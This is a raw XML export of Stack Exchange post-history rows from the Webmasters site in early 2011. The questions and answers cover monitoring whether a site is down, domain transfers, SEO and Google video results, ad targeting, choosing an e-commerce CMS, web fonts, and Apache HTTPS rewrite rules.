  <row Id="18377" PostHistoryTypeId="17" PostId="8497" RevisionGUID="2a2d45a1-d32a-4a2c-bab6-d6c54d68777d" CreationDate="2011-01-31T01:33:35.543" UserId="-1" Comment="from http://stackoverflow.com/questions/4837530/how-can-i-know-if-my-site-is-down/4837720#4837720" Text="" />
  <row Id="18378" PostHistoryTypeId="2" PostId="8494" RevisionGUID="173f1e55-4dbb-4f62-a99a-2df4723f6491" CreationDate="2011-01-29T15:06:21.933" UserId="1858" Text="The best way to monitor the site is to do so from a source that simulates your users, so for a public facing site that means a monitor external to your organization (e.g., SiteUptime - random example, I've never used them nor do I know anything about their reputation). For an intranet application, I'm sure there are open source solutions you can deploy on the enterprise.&#xD;&#xA;&#xD;&#xA;Your web server application may be running but because of a network or DNS issue, your users cannot reach it. It doesn't mean your application is down, but your users will not appreciate the distinction. " />
  <row Id="18379" PostHistoryTypeId="2" PostId="8495" RevisionGUID="5049f0d4-ad82-44a2-b323-d93c89bd0af9" CreationDate="2011-01-29T15:10:51.240" UserDisplayName="Max Kielland" Text="Well you can periodically ping a couple of sites, If non of them response for let's say 5 min. You are probably down.&#xD;&#xA;&#xD;&#xA;Make sure to ping both local, country and continent located servers. In this way you can see if you have a LAN problem or a WAN problem and if it is worldwide (you are probably down) or if it is a backbone problem to certain parts of the world.&#xD;&#xA;&#xD;&#xA;The second thing to think about is how reliable your DNS is. If the DNS is down, you will get nowhere. So to detect this, mix with both domain names and IP addresses.&#xD;&#xA;&#xD;&#xA;To be able to mail yourself, you need of course a local Mail server (if your WAN is down).&#xD;&#xA;" />
  <row Id="18380" PostHistoryTypeId="2" PostId="8496" RevisionGUID="645834a5-96bd-42d5-8984-d20e6f99867c" CreationDate="2011-01-29T15:15:01.507" UserDisplayName="AndreiM" Text="If you have a Linux machine in your environment, this should be a relatively simple task in any scripting language that can call out to the shell. Take a look at the `wget` and `sendmail` commands for retrieving files over HTTP and sending e-mail, respectively.&#xD;&#xA;&#xD;&#xA;The idea is to try retrieving something like index.html from your site. If the attempt fails, the script sends you an e-mail. Once you have the script working, scheduling it is easy using [cron][1].&#xD;&#xA;&#xD;&#xA;I'm not as familiar with Powershell on Windows, but I bet if you search for &quot;wget powershell&quot; you would find some interesting results. I've heard scheduling Powershell scripts is similarly straightforward.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cron" />
  <row Id="18381" PostHistoryTypeId="2" PostId="8497" RevisionGUID="5153baec-ca8f-46df-8c36-5cae60b4ade6" CreationDate="2011-01-29T15:40:21.247" UserId="4599" Text="we use Pingdom, there is a Free plan, it checks your site every 5 minutes, but you can check only one site, url : http://www.pingdom.com/&#xD;&#xA;&#xD;&#xA;With BasicState you can check unlimited number of sites and check frequency is 15 minutes, url : http://basicstate.com/" />
  <row Id="18382" PostHistoryTypeId="2" PostId="8493" RevisionGUID="cfbc18d7-17fd-4d03-a797-4fa2435b3ff2" CreationDate="2011-01-29T14:59:45.440" UserDisplayName="Aba Dov" Text="I would like to be alerted if my site is down (for example have an email sent to me).&#xD;&#xA;&#xD;&#xA;The site is written in asp .net  it is deployed on a dedicated server, windows 2008 with IIS 7&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18383" PostHistoryTypeId="1" PostId="8493" RevisionGUID="cfbc18d7-17fd-4d03-a797-4fa2435b3ff2" CreationDate="2011-01-29T14:59:45.440" UserDisplayName="Aba Dov" Text="How can I know if my site is down?" />
  <row Id="18384" PostHistoryTypeId="3" PostId="8493" RevisionGUID="cfbc18d7-17fd-4d03-a797-4fa2435b3ff2" CreationDate="2011-01-29T14:59:45.440" UserDisplayName="Aba Dov" Text="&lt;web-development&gt;&lt;iis&gt;&lt;web&gt;&lt;iis7&gt;&lt;websites&gt;" />
  <row Id="18385" PostHistoryTypeId="17" PostId="8493" RevisionGUID="24440480-0946-4b09-bb5b-0a03b099bc1e" CreationDate="2011-01-31T01:33:35.543" UserId="-1" Comment="from http://stackoverflow.com/questions/4837530/how-can-i-know-if-my-site-is-down" Text="" />
  <row Id="18386" PostHistoryTypeId="25" PostId="8491" RevisionGUID="e262a925-5363-49e5-83e3-b3cd8fb65d9e" CreationDate="2011-01-31T02:16:12.603" Comment="http://twitter.com/#!/StackWebmasters/status/31898512274751488" />
  <row Id="18387" PostHistoryTypeId="5" PostId="8445" RevisionGUID="98e925c3-0fc4-4cfe-896c-0f2a0bdd63c2" CreationDate="2011-01-31T03:05:08.817" UserId="4643" Comment="added 409 characters in body" Text="If google search query results are incorrect:   &#xD;&#xA; &#xD;&#xA;  - How can it be reported? &#xD;&#xA;  - What is the procedure to correct it?  &#xD;&#xA;&#xD;&#xA;@Lèse majesté:  &#xD;&#xA;Incorrect results are the results that do not contain any of the searched keywords in them like in [this my question][1]   &#xD;&#xA;@John Conde, yes I believe it is the right defitition.  &#xD;&#xA;&#xD;&#xA;@[DisgruntedGoat][2], even when there are a lot of results by keycaptcha for &quot;Past 24 hours&quot;,  &#xD;&#xA;the Google.com presents results only on reCAPTCHA.  Anyway, they are different from those by google if to search by &quot;keycaptcha&quot; (in quotes) and by other search engines.  &#xD;&#xA;&#xD;&#xA;Everybody thinks that searches by one keyword should be sneakily substituted by google's own promoted brand products?    &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;**Though answers insist that my results are not reproducible,  &#xD;&#xA;I am having confirmations of respondents in Europe, China, Australia and North America   &#xD;&#xA;that they are reproducing these my results on reCAPTCHA while searching by keycaptcha&#xD;&#xA;(having simultaneously results by &quot;keycaptcha&quot; searches&quot;** &#xD;&#xA;&#xD;&#xA;Please note that you should click &quot;Past 24 hours&quot; (or &quot;Past week&quot;, etc.) while googling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/8445/when-google-search-gives-incorrect-results-how-can-it-be-reported" />
  <row Id="18388" PostHistoryTypeId="2" PostId="8498" RevisionGUID="ac85a635-8e35-44da-a014-44c62ad91410" CreationDate="2011-01-31T04:09:52.303" UserId="4945" Text="There are plenty of free fonts on the web. Rather then listing the web sites for you, I would suggest searching &quot;free fonts&quot;. You can usually select a category of 'script' or 'calligraphy'." />
  <row Id="18389" PostHistoryTypeId="2" PostId="8499" RevisionGUID="b37867bf-993c-4d07-b422-e19cda92047d" CreationDate="2011-01-31T04:17:16.867" UserId="4945" Text="There is nothing like that to my knowledge. I try to keep informed with many open source script options. You could buy replica of the site forfreemove.com at Easymoviescript.com. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18390" PostHistoryTypeId="25" PostId="8483" RevisionGUID="f6871507-a26a-42e6-a4bb-4f8964d18fa6" CreationDate="2011-01-31T05:16:12.923" Comment="http://twitter.com/#!/StackWebmasters/status/31943811185770496" />
  <row Id="18395" PostHistoryTypeId="5" PostId="8465" RevisionGUID="2da94feb-9a26-4192-b25b-d701b89dc589" CreationDate="2011-01-31T07:22:24.907" UserId="1064" Comment="Added suggestion for handling requests" Text="&gt; But what's the point of this type of&#xD;&#xA;&gt; activity?&#xD;&#xA;&#xD;&#xA;Your guess is as good as anyone's - perhaps the operator is mistakenly trying to access a set of spam accounts created elsewhere? (or ones which were *supposed* to be created at your site but failed for whatever reason)&#xD;&#xA;&#xD;&#xA;**Edit:** ... speaking to your initial question:&#xD;&#xA;&#xD;&#xA;&gt; How should a site respond to automated&#xD;&#xA;&gt; login attempts with phony usernames?&#xD;&#xA;&#xD;&#xA;It is not a good idea to inform potential attackers whether or not the account which they are attempting to log in to exists... otherwise, no special response is necessary (unless the volume of bad requests is impacting performance).&#xD;&#xA;&#xD;&#xA;A typical &quot;Invalid username or password&quot; + &quot;Please enter your e-mail address to begin the account retrieval process&quot; form should be served up." />
  <row Id="18396" PostHistoryTypeId="25" PostId="8493" RevisionGUID="6e3c7b46-1979-4210-b9ae-6ea79052aaba" CreationDate="2011-01-31T08:16:13.313" Comment="http://twitter.com/#!/StackWebmasters/status/31989111237644288" />
  <row Id="18397" PostHistoryTypeId="2" PostId="8501" RevisionGUID="8ce8eba9-619e-45c0-9dfc-db41fee2aa11" CreationDate="2011-01-31T09:01:16.583" UserDisplayName="user5038" Text="In order to show relevant ads to a user I just put Google code on my site and they target the ads based on their knowledge of that user. Is there anyway I can use AdSense or any other advertising company to decide myself what ads to show to the user from their pool? i.e. I will decide to show him a &quot;technology&quot; related ads?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Frank" />
  <row Id="18398" PostHistoryTypeId="1" PostId="8501" RevisionGUID="8ce8eba9-619e-45c0-9dfc-db41fee2aa11" CreationDate="2011-01-31T09:01:16.583" UserDisplayName="user5038" Text="Self ads targeting" />
  <row Id="18399" PostHistoryTypeId="3" PostId="8501" RevisionGUID="8ce8eba9-619e-45c0-9dfc-db41fee2aa11" CreationDate="2011-01-31T09:01:16.583" UserDisplayName="user5038" Text="&lt;advertising&gt;" />
  <row Id="18400" PostHistoryTypeId="2" PostId="8502" RevisionGUID="cf0643b6-4802-448c-830f-7ff8346c6bf3" CreationDate="2011-01-31T09:28:39.730" UserId="4999" Text="Sometimes videos appear in google's web search results (and not only in Google Videos). For a video to appear in the web search results, does it have to appear in Google Videos firs? Does each and every video that appears in Google Videos has a chance to appear in google's web search results (given that the video is very relevant to the query, more relevant than all the other videos)?&#xD;&#xA;&#xD;&#xA;Please note: I'm not asking about video sitemaps or mRSS. I'm just asking when do videos appear in google's web search results compared to when do videos appear in Google Videos. " />
  <row Id="18401" PostHistoryTypeId="1" PostId="8502" RevisionGUID="cf0643b6-4802-448c-830f-7ff8346c6bf3" CreationDate="2011-01-31T09:28:39.730" UserId="4999" Text="When do videos appear in google's web search results?" />
  <row Id="18402" PostHistoryTypeId="3" PostId="8502" RevisionGUID="cf0643b6-4802-448c-830f-7ff8346c6bf3" CreationDate="2011-01-31T09:28:39.730" UserId="4999" Text="&lt;seo&gt;&lt;google&gt;&lt;video&gt;" />
  <row Id="18403" PostHistoryTypeId="2" PostId="8503" RevisionGUID="15174af7-8a28-461c-a84b-b32cb191d9a1" CreationDate="2011-01-31T09:37:32.653" UserId="1757" Text="AFAIK, Google's AdSense ads don't target specific users. They display ads on Gmail like that, but all other ads are based on the content of the page not the user.&#xD;&#xA;&#xD;&#xA;If you want to show more relevant ads to your users, you can do audience profiling and segmentation through companies like Rapleaf, Quantcast, Full Circle Studies (ScorecardResearch), Brilig, and I think Alexa also offers marketing analytics.&#xD;&#xA;&#xD;&#xA;The only company I know of that does user-specific targeting is Rapleaf, which has an API that lets you query user information based on email addresses to deliver advertising targeted at that specific user or to personalize their user experience." />
  <row Id="18404" PostHistoryTypeId="2" PostId="8504" RevisionGUID="4b13750d-0b16-4767-9b78-783ad2525ea0" CreationDate="2011-01-31T09:38:56.353" UserId="4509" Text="Personally, I have not encountered any sites that exclude IE. From IE7, there are very few (and mostly minor cosmetic ones, which does not break the page to ignore) issues with IE. If someone bans a page, it is probably as a general protest against Microsoft, rather than not wanting to pollute code with workarounds for IE. &#xD;&#xA;&#xD;&#xA;You might not have a large percentage of IE users in your area, but world wide, IE still has a good share. See [this page](http://www.w3schools.com/browsers/browsers_stats.asp) on w3schools that measures the browser statistics hit on their page. The statistics for IE degrades gradually, but is still miles ahead Safari and Opera. It is still is a hunch ahead Chrome, and it seems like it is Chrome that takes over the IE users, as IE degrades at about the same speed as Chrome increases.  &#xD;&#xA;That said - w3schools is a site that is not quite representable for a normal user, because it is a site mainly for web developers, and technical (especially web technical) people are more reluctant to IE than normal internet users. From a users perspective, there are a lot of sites are primary designed for IE (because it historically has the larges user base). These sites are mostly tested also for Firefox, but that's where it stops, which leaves the browsers that are stricter to the standards out of the loop (Firefox works good with the standards, but also allows for more buggy HTML than others).&#xD;&#xA;" />
  <row Id="18405" PostHistoryTypeId="5" PostId="8502" RevisionGUID="7edc276a-a367-4b07-bd76-697212d2a53c" CreationDate="2011-01-31T09:39:32.133" UserId="4999" Comment="formatting" Text="Sometimes videos appear in google's web search results (and not only in Google Videos). &#xD;&#xA;&#xD;&#xA; - For a video to appear in the web search results, does it have to appear in Google Videos firs? &#xD;&#xA;&#xD;&#xA; - Does each and every video that appears in Google Videos has a chance to appear in google's web search results (given that the video is very relevant to the query, more relevant than all the other videos)?&#xD;&#xA;&#xD;&#xA;Please note: I'm not asking about video sitemaps or mRSS. I'm just asking when do videos appear in google's web search results compared to when do videos appear in Google Videos. " />
  <row Id="18406" PostHistoryTypeId="2" PostId="8505" RevisionGUID="f8dc41ee-9355-402c-a945-2f1ccaa220bd" CreationDate="2011-01-31T09:08:46.090" UserDisplayName="HAJJAJ" Text="i need to know how long it takes to transfer my domain name fro one server to another?!!&#xD;&#xA;&#xD;&#xA;i have a domain name and i am trying to transfer it but one of the local company said that i can't transfer before 2 months with them!!&#xD;&#xA;&#xD;&#xA;is that real?" />
  <row Id="18407" PostHistoryTypeId="1" PostId="8505" RevisionGUID="f8dc41ee-9355-402c-a945-2f1ccaa220bd" CreationDate="2011-01-31T09:08:46.090" UserDisplayName="HAJJAJ" Text="how long  it takes to transfer my domain name  from one server to another???!! " />
  <row Id="18408" PostHistoryTypeId="3" PostId="8505" RevisionGUID="f8dc41ee-9355-402c-a945-2f1ccaa220bd" CreationDate="2011-01-31T09:08:46.090" UserDisplayName="HAJJAJ" Text="&lt;web-hosting&gt;" />
  <row Id="18409" PostHistoryTypeId="17" PostId="8505" RevisionGUID="e4498df8-30d8-4a55-8940-4c23b3554582" CreationDate="2011-01-31T09:43:59.350" UserId="-1" Comment="from http://stackoverflow.com/questions/4849128/how-long-it-takes-to-transfer-my-domain-name-from-one-server-to-another" Text="" />
  <row Id="18410" PostHistoryTypeId="2" PostId="8506" RevisionGUID="8c488869-3531-493e-b9b0-ccca96a00a34" CreationDate="2011-01-31T10:33:25.473" UserId="661" Text="From a technical perspective: Usually about 10 minutes plus whatever the TTL for the DNS is set to.&#xD;&#xA;&#xD;&#xA;You might have contractual obligations that extend that though." />
  <row Id="18411" PostHistoryTypeId="5" PostId="8505" RevisionGUID="de218f75-ee6a-4815-bff4-4dead4d0a53f" CreationDate="2011-01-31T11:07:17.533" UserId="3" Comment="deleted 21 characters in body; edited tags; edited title" Text="I need to know how long it should take to transfer my domain name from one server to another.&#xD;&#xA;&#xD;&#xA;I have a domain name and I am trying to transfer it but one of the local companies said that I can't transfer in less than 2 months with them." />
  <row Id="18412" PostHistoryTypeId="4" PostId="8505" RevisionGUID="de218f75-ee6a-4815-bff4-4dead4d0a53f" CreationDate="2011-01-31T11:07:17.533" UserId="3" Comment="deleted 21 characters in body; edited tags; edited title" Text="How long can I expect to wait before a DNS name is transferred to a new server?" />
  <row Id="18413" PostHistoryTypeId="6" PostId="8505" RevisionGUID="de218f75-ee6a-4815-bff4-4dead4d0a53f" CreationDate="2011-01-31T11:07:17.533" UserId="3" Comment="deleted 21 characters in body; edited tags; edited title" Text="&lt;web-hosting&gt;&lt;dns&gt;" />
  <row Id="18415" PostHistoryTypeId="25" PostId="8502" RevisionGUID="df72169b-cf3f-4ec8-8bcb-c035b767d91c" CreationDate="2011-01-31T11:16:12.830" Comment="http://twitter.com/#!/StackWebmasters/status/32034407728553984" />
  <row Id="18416" PostHistoryTypeId="17" PostId="8508" RevisionGUID="bb741c13-db32-4e5d-8243-7d44dc1cbe82" CreationDate="2011-01-31T12:24:43.907" UserId="-1" Comment="from http://stackoverflow.com/questions/4849466/what-is-the-best-way-to-get-robots-to-crawl-your-site-from-google/4849494#4849494" Text="" />
  <row Id="18417" PostHistoryTypeId="17" PostId="8509" RevisionGUID="254b0612-d874-4891-b1e0-435357752738" CreationDate="2011-01-31T12:24:43.907" UserId="-1" Comment="from http://stackoverflow.com/questions/4849466/what-is-the-best-way-to-get-robots-to-crawl-your-site-from-google/4849497#4849497" Text="" />
  <row Id="18418" PostHistoryTypeId="17" PostId="8510" RevisionGUID="b8ba7253-0781-41dd-8f82-049e64375412" CreationDate="2011-01-31T12:24:43.907" UserId="-1" Comment="from http://stackoverflow.com/questions/4849466/what-is-the-best-way-to-get-robots-to-crawl-your-site-from-google/4849777#4849777" Text="" />
  <row Id="18419" PostHistoryTypeId="2" PostId="8508" RevisionGUID="f8763bee-35d9-4676-b78b-0f5d49b6e097" CreationDate="2011-01-31T09:54:15.830" UserDisplayName="Navi" Text="make a sitemap and register it with google" />
  <row Id="18420" PostHistoryTypeId="2" PostId="8509" RevisionGUID="b787860e-dcc2-4d0c-9594-198e61a3bfee" CreationDate="2011-01-31T09:54:31.597" UserDisplayName="Michael Borgwardt" Text="The best way would be to register for Google's [webmaster tools][1] to submit an [XML site map][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184" />
  <row Id="18421" PostHistoryTypeId="2" PostId="8510" RevisionGUID="5fec9a5c-0b43-42a8-a479-aa14acb76a97" CreationDate="2011-01-31T10:25:09.207" UserDisplayName="Rais Hussain" Text="You can use XML sitemap and Html sitemap both to get crawl by google submitting [Sitemap][1]. &#xD;&#xA;&#xD;&#xA;The other step is [Html Sitemap][2].&#xD;&#xA;&#xD;&#xA;You can use [Google Webmaster Tool][3] to submit XML Sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Site_map&#xD;&#xA;  [2]: http://www.ehow.com/sitemap-1112170.html&#xD;&#xA;  [3]: https://www.google.com/webmasters/tools/" />
  <row Id="18422" PostHistoryTypeId="2" PostId="8507" RevisionGUID="4497c313-ee88-4cc6-87ef-6ae32b04171e" CreationDate="2011-01-31T09:51:42.450" UserDisplayName="user596638" Text="What is the best way to get robots to crawl your site from google?&#xD;&#xA;&#xD;&#xA;With reference to our site&#xD;&#xA;&#xD;&#xA;[site elided]" />
  <row Id="18423" PostHistoryTypeId="1" PostId="8507" RevisionGUID="4497c313-ee88-4cc6-87ef-6ae32b04171e" CreationDate="2011-01-31T09:51:42.450" UserDisplayName="user596638" Text="What is the best way to get robots to crawl your site from google?" />
  <row Id="18424" PostHistoryTypeId="3" PostId="8507" RevisionGUID="4497c313-ee88-4cc6-87ef-6ae32b04171e" CreationDate="2011-01-31T09:51:42.450" UserDisplayName="user596638" Text="&lt;google&gt;&lt;seo&gt;" />
  <row Id="18425" PostHistoryTypeId="17" PostId="8507" RevisionGUID="028f9d0c-a7fe-4ccb-85ad-02dcaad131e4" CreationDate="2011-01-31T12:24:43.907" UserId="-1" Comment="from http://stackoverflow.com/questions/4849466/what-is-the-best-way-to-get-robots-to-crawl-your-site-from-google" Text="" />
  <row Id="18429" PostHistoryTypeId="10" PostId="8507" RevisionGUID="9cf6f9de-f351-44ba-ac1e-2b23464783fe" CreationDate="2011-01-31T12:55:41.563" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18430" PostHistoryTypeId="5" PostId="8507" RevisionGUID="af3987ec-a524-4371-8942-034bc92e62f8" CreationDate="2011-01-31T12:55:41.657" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Why isnt google crawling on my blog?](http://webmasters.stackexchange.com/questions/6351/why-isnt-google-crawling-on-my-blog)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;What is the best way to get robots to crawl your site from google?&#xD;&#xA;&#xD;&#xA;With reference to our site&#xD;&#xA;&#xD;&#xA;[site elided]" />
  <row Id="18431" PostHistoryTypeId="2" PostId="8511" RevisionGUID="4850a3dc-3d58-444a-b9dd-15d90012062d" CreationDate="2011-01-31T13:20:52.890" UserId="3718" Text="Please remember when using TTF's that not all browsers support it. Internet Explorer, while it does support the CSS3 @Font-face attribute, but it will only use .eot fonts.&#xD;&#xA;&#xD;&#xA;From experience, if I have a TTF font and I want to convert this to EOT and SVG font files, the quality will be compromised. It will appear blocky and disgusting. &#xD;&#xA;&#xD;&#xA;So, I would recommend using a website called http://www.fontsquirrel.com/. This will provide you with all the fonts you need and the CSS code you need to make the font accessible to all browsers. It also hosts a converter but be warned the quality of the font it produces is shocking." />
  <row Id="18432" PostHistoryTypeId="25" PostId="8501" RevisionGUID="be21fca7-515c-4d00-8b93-2b93216af686" CreationDate="2011-01-31T14:16:12.793" Comment="http://twitter.com/#!/StackWebmasters/status/32079707092553728" />
  <row Id="18433" PostHistoryTypeId="2" PostId="8512" RevisionGUID="2bcd7797-0a4f-4e4e-8455-02c235a5de8f" CreationDate="2011-01-31T14:24:12.247" UserId="5041" Text="Try using SearchBlox which indexes PDF documents. It is free to use and also available on the cloud." />
  <row Id="18434" PostHistoryTypeId="2" PostId="8513" RevisionGUID="2ef17042-cc96-4e37-a767-bd2e34a7a6c3" CreationDate="2011-01-31T13:29:18.047" UserDisplayName="ec30" Text="I need to develop a multi-language site which includes simple webshop functionality. I have extended experience with WordPress. There are numerous shopping cart plugins available for WordPress however none of them is compatible with multi-language plugins such as [WMPL](http://wpml.org).&#xD;&#xA;&#xD;&#xA;Drupal is an option I looked into (using i18n and Ubercart) and I am not sure this is the solution I am looking for.&#xD;&#xA;&#xD;&#xA;Another solution I considered is to develop a custom WordPress cart plugin that is compatible with WPML. Anyone familiar with this situation? Any recommendation regarding CMSes that fit my needs? Thanks!" />
  <row Id="18435" PostHistoryTypeId="1" PostId="8513" RevisionGUID="2ef17042-cc96-4e37-a767-bd2e34a7a6c3" CreationDate="2011-01-31T13:29:18.047" UserDisplayName="ec30" Text="I need a multi-language site with webshop functionality. Which CMS to choose?" />
  <row Id="18436" PostHistoryTypeId="3" PostId="8513" RevisionGUID="2ef17042-cc96-4e37-a767-bd2e34a7a6c3" CreationDate="2011-01-31T13:29:18.047" UserDisplayName="ec30" Text="&lt;ecommerce&gt;" />
  <row Id="18437" PostHistoryTypeId="17" PostId="8513" RevisionGUID="c12a5c1b-3008-4c9c-b50c-b82cdecfeaa5" CreationDate="2011-01-31T14:30:06.007" UserId="-1" Comment="from http://stackoverflow.com/questions/4851379/i-need-a-multi-language-site-with-webshop-functionality-which-cms-to-choose" Text="" />
  <row Id="18438" PostHistoryTypeId="2" PostId="8514" RevisionGUID="a35ed7af-f1e4-4cc1-9d1c-8873d6a53101" CreationDate="2011-01-31T14:45:40.350" UserId="1953" Text="I've not tried it but I believe Magento has pretty robust language and currency support. I would suggest going with a CMS that is designed with eCommerce in mind rather then trying to get an eCommerce solution out of one that isn't designed for it. (It's possible to get a good webshop out of WordPress or Drupal many do but imho it's better to start with an eCommerce base if you want an eCommerce site)." />
  <row Id="18439" PostHistoryTypeId="2" PostId="8515" RevisionGUID="f6b920bc-3345-4544-8f42-a3fafb13f96b" CreationDate="2011-01-31T16:01:15.183" UserId="5043" Text="We are WPML's developers. We're using Shopp plugin (http://shopplugin.net ) and have plans to work with Shopp authors very soon to make it multilingual-ready.&#xD;&#xA;&#xD;&#xA;WP E-Commerce will follow soon." />
  <row Id="18440" PostHistoryTypeId="2" PostId="8516" RevisionGUID="9416dae7-fad1-4d6e-91cc-0691931fe4b2" CreationDate="2011-01-31T17:00:48.170" UserId="1253" Text="Use [microformats][1] to tell them it's a video:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=162163" />
  <row Id="18441" PostHistoryTypeId="25" PostId="8513" RevisionGUID="d91ac882-ba8f-4d57-b269-5fec8129b2e4" CreationDate="2011-01-31T17:16:13.400" Comment="http://twitter.com/#!/StackWebmasters/status/32125007995871232" />
  <row Id="18442" PostHistoryTypeId="5" PostId="8502" RevisionGUID="ec726844-d20b-485e-b153-11f5c0274b03" CreationDate="2011-01-31T17:23:47.427" UserId="4999" Comment="spelling" Text="Sometimes videos appear in google's web search results (and not only in Google Videos). &#xD;&#xA;&#xD;&#xA; - For a video to appear in the web search results, does it have to appear in Google Videos first? &#xD;&#xA;&#xD;&#xA; - Does each and every video that appears in Google Videos has a chance to appear in google's web search results (given that the video is very relevant to the query, more relevant than all the other videos)?&#xD;&#xA;&#xD;&#xA;Please note: I'm not asking about video sitemaps or mRSS. I'm just asking when do videos appear in google's web search results compared to when do videos appear in Google Videos. " />
  <row Id="18443" PostHistoryTypeId="5" PostId="6186" RevisionGUID="3c3939d4-eb4a-4eb2-b50b-3a52a6470eba" CreationDate="2011-01-31T17:25:10.950" UserId="1757" Comment="stackexchange markup was buggy" Text="Your solution seems right. But let me provide some checkpoints you can perform.&#xD;&#xA;&#xD;&#xA; - Are HTTP and HTTPS set to point to the same physical directory?&#xD;&#xA; - Have you tried asking on server fault?&#xD;&#xA; - Can you try using modifiers to check like&#xD;&#xA;&#xD;&#xA;Code:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTPS} = on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^ https://www.domain.com%{REQUEST_URI} [R=301,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTPS} != on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^ http://www.domain.com%{REQUEST_URI} [R=301,L]" />
  <row Id="18444" PostHistoryTypeId="2" PostId="8517" RevisionGUID="718015d9-fab9-4855-8647-d2b6758d9fac" CreationDate="2011-01-31T17:36:16.193" UserId="322" Text="You don't mention what platform... I can vouch for nopCommerce if you're looking at .NET &#xD;&#xA;&#xD;&#xA;http://nopcommerce.com" />
  <row Id="18445" PostHistoryTypeId="2" PostId="8518" RevisionGUID="dcc0ca99-2df9-4093-9311-61dc02fb4f1c" CreationDate="2011-01-31T17:50:54.137" UserId="3867" Text="&gt; I've been looking around at the available options and have narrowed it down to vBulletin, Vanilla or Phorum.&#xD;&#xA;&#xD;&#xA;I don't have a lot of experience with those other forums, but I'm a big fan of Vanilla. Vanilla 2 code is based on a php [MVC framework][1], very clean, and easy to customize and integrate. &#xD;&#xA;&#xD;&#xA;&gt; The code needs to be open to allow us to highly customise the software both to strip out a lot of stuff and be able to integrate our sites features. A lot of the forums I've looked at have a lot of duplicate features to our main site, in particular member management, profiles etc.&#xD;&#xA;&#xD;&#xA;Vanilla has a [Sign-On Integration system][2] allowing it to integrate with your site's member management.&#xD;&#xA;&#xD;&#xA;&gt; Finally I guess if 'future proofing' the forum (as best as possible) given the above. Which platform will allow us to customise it but also allow us to keep instep with upgrades. Which forum software has the best track record for bringing online new features in a timely manner?&#xD;&#xA;&#xD;&#xA;Upgrading Vanilla is fairly painless, as well, is open-source, and as long as you follow conventions for customizations, can be upgraded without ruining custom page code. I am impressed by the administrative backend and easy addon upgrade system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Model–view–controller&#xD;&#xA;  [2]: http://vanillaforums.org/page/SingleSignOn" />
  <row Id="18446" PostHistoryTypeId="5" PostId="8516" RevisionGUID="f73059c9-ab05-4161-b1e0-ae270dad9f00" CreationDate="2011-01-31T18:04:34.487" UserId="1253" Comment="added 20 characters in body" Text="Use [microformats][1] to tell them it's a video ans what it's about:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=162163" />
  <row Id="18447" PostHistoryTypeId="25" PostId="8505" RevisionGUID="3195c29a-4370-45c8-8137-67927d225d7b" CreationDate="2011-01-31T20:16:14.557" Comment="http://twitter.com/#!/StackWebmasters/status/32170311361236992" />
  <row Id="18448" PostHistoryTypeId="5" PostId="8516" RevisionGUID="86d46fdf-4b98-4cf1-abde-a72a9452243b" CreationDate="2011-01-31T20:48:10.947" UserId="1253" Comment="added 552 characters in body" Text="Use [microformats][1] to tell them it's a video ans what it's about.&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;The results you see at the top of Google search results are from google video. They do the same thing for images. These results are separate from google search results. Basically you have to be a top search result in google video to be shown there. &#xD;&#xA;&#xD;&#xA;I would assume that achieving high rankings in Google Video Search would be similar to regular Google Search. The context of the page (page title, headings, content) the video is on as well as link popularity etc, help them determine which videos are most relevant for a video search.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=162163" />
  <row Id="18456" PostHistoryTypeId="2" PostId="8520" RevisionGUID="c8655e5e-463a-4d11-85c1-d2b9194086c9" CreationDate="2011-01-31T21:59:40.130" UserId="5048" Text="When linking pages, does google give higher value to href=&quot;http://www.mydomain.com&quot; than href=&quot;/&quot;?&#xD;&#xA;&#xD;&#xA;I am wondering because I have heard that (for SEO) it is better to provide the full http address when linking to the sites homepage.&#xD;&#xA;&#xD;&#xA;As I thought about it, I wondered why that would be. Would google really assign higher value to href=&quot;http://www.mydomain.com&quot; instead of href=&quot;/&quot;? They both mean the same thing. &#xD;&#xA;&#xD;&#xA;Do you guys know or have any resources on this?&#xD;&#xA;" />
  <row Id="18457" PostHistoryTypeId="1" PostId="8520" RevisionGUID="c8655e5e-463a-4d11-85c1-d2b9194086c9" CreationDate="2011-01-31T21:59:40.130" UserId="5048" Text="When linking pages, does google give higher value to href=&quot;http://www.mydomain.com&quot; than href=&quot;/&quot;?" />
